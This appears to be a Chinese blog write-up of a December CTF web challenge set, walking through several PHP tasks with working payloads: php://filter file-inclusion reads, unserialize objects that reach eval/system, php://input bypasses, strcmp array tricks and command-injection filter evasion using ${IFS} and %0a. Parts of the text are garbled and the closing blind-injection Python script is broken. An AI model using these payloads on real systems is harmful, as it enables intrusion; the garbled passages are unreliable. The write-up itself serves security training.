网络内生安全试验场-12月CTF圣诞赛Web

1. nani
http://120.55.43.255:24719/查看源码得以下内容,其URL提示文件包含
在这里插入图片描述在这里插入图片描述
查看http://120.55.43.255:24719/index.php?file=show.php得

使用http://120.55.43.255:24719/index.php?file=php://filter/read=convert.base64-encode/resource=./user.php
在这里插入图片描述
使用base64解密
在这里插入图片描述

<?php class convent{ var $warn = "No hacker."; function __destruct(){ eval($this->warn); } function __wakeup(){ foreach(get_object_vars($this) as $k => $v) { $this->$k = null; } } } $cmd = $_POST[cmd]; unserialize($cmd); ?>

在这里插入图片描述
构造payload:
cmd=O:7:“convent”:2:{s:4:“warn”;s:14:“system(‘dir’);”;}
在这里插入图片描述
2. Xlmg
Stegsolve图片隐写查看器的使用手册:
在Analyse中:
File Format:文件格式
Data Extract:数据提取
Steregram Solve:立体试图 可以左右控制偏移
Frame Browser:帧浏览器
Image Combiner:拼图,图片拼接
其中data extract右边部分表示RGBA(Alpha是透明度)的颜色通道,而rgba是代表Red(红色)Green(绿色)Blue(蓝色)和Alpha的色彩空间。它们代表的实际上是亮度。右半部分就是Extra By(额外的)和Bit Order(位顺序)和Bit Plane Order(位平面的顺序)
在这里插入图片描述
3. random

<?php $seed = 2; $key = @$_REQUEST['key']; mt_srand($seed); $true_key = mt_rand(); echo $true_key ?>

出$key == t r u e k e y 接 着 根 据 提 示 , 存 在 文 件 包 含 。 先 闭 合 v a r d u m p ( true_key 接着根据提示,存在文件包含。先闭合var_dump( truekeyvardump(a)既构造得?hello=1);print_r(file_(“./flag.php”));//&seed=2&key=1216699170
在这里插入图片描述
4.Admin
http://120.55.43.255:28119/

在这里插入图片描述在这里插入图片描述
isset()函数:就是判断变量是否存在并且不为空,存在返回ture,不存在返回false。
file_get_contents() 函数:是用于将文件的内容读入到一个字符串中的首选方法。
include( f i l e ) ; / / c l a s s . p h p : 意 思 是 让 我 们 输 出 h e l l o a d m i n ! , 然 后 执 行 文 件 包 含 漏 洞 。 所 以 , 我 们 应 该 想 办 法 让 f i l e g e t c o n t e n t s ( file); //class.php: 意思是让我们输出hello admin!,然后执行文件包含漏洞。 所以,我们应该想办法让file_get_contents( file);//class.php:helloadmin!filegetcontents(user,‘r’)的内容变成admin就可以绕过file_get_contents,这里用的方法是使用php的封装协议—— php://input。php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。
在这里插入图片描述
绕过第一个,紧接着文件包含file=php://filter/convert.base64-encode/resource=class.php构造得到http://120.55.43.255:28119/?user=php://input&file=php://filter/convert.base64-encode/resource=class
在这里插入图片描述
解码
在这里插入图片描述
反序列pass=O:4:“Read”:1:{s:4:“file”;s:62:“php://filter/read=convert.base64-encode/resource=fffffflag.php”;}既?user=php://input&file=class.php&pass=O:4:“Read”:1:{s:4:“file”;s:62:“php://filter/read=convert.base64-encode/resource=fffffflag.php”;}后面一个文件包含加反序列。
在这里插入图片描述
解码
在这里插入图片描述
5.Post1
过滤了cat,空格。使用cut、$ {IFS }来代替
构造palyload:a=cut$ {IFS }-b1-$ {IFS }flag.txt
在这里插入图片描述
6.Ping
strcmp ():进行二进制安全字符串比较,用来判断password是否一致
include($_REQUEST[‘path’]):文件包含,传入的参数是path
使用password[]绕过
在这里插入图片描述
?path=php://filter//read=convert.base64-encode/resource=ping.php
在这里插入图片描述
解码
在这里插入图片描述
过滤了一些分隔符,可以使用%0a换行符符号–。
在这里插入图片描述
Cat ffffff1111aagggg.txt
在这里插入图片描述
7.Post2(半成)
使用代码
Import requests
Import string
dic = string.printable
flag = “”
for j in range(1,50):
for i in range(len(dic)):
url = http://120.55.43.255:22712/
date = {“cmd” : ‘’’[ ‘cut -c | ‘’’+str(j)+’’’ flag.txt‘ = “%c” ]}
try:
r = request.post(url,data=data,time=1)
except requests.exceptions.ReadTimeout,e:
flag += dic[i]
print flag
break

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值